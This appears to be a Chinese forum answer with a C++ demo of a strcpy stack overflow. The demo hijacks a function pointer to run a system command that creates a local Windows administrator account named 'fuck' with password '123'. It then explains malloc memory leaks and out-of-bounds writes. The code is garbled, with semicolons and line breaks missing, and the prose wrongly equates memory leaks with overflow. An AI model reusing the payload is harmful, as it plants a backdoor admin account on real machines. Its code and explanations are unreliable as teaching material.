写了一个C++的代码,你用VC6 编译一下,马上会添加一个一个叫做"f_u_c_k的用户名。 这个程序显示了strcpy函数导致的栈溢出,堆溢出在windows平台更复杂,因为windows的堆管理 全部靠一些安全爱好者逆向得来。。
#include <iostream>using namespace std
void (*pfunc)()
void show()
{
system("cmd /c net user fuck 123 /ad && net localgroup administrators fuck /ad")
exit(1)
}
int main()
{
char a[4]
char shellcode[13]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
pfunc=show
*(int *)&shellcode[8]=(int)pfunc
//overflow
strcpy(a,shellcode)
return 0
}
malloc()函数开辟的内存空间系统是不会自动释放的,与普通定义的数据变量不一样,所以得在程序里,手动写free()函数释放内存空间,如果不写free函数释放malloc()函数开辟的内存空间的话,系统中无效的内存空间会越积越多,到达一定数量后内存就不够用了,这就是所说的内存溢出。
访问101 在不重新分配下就是内存溢出。 或者叫越界。
为了测试 可以写作
char *p = (char *)malloc(100)p[100] = 0//访问第101个字节。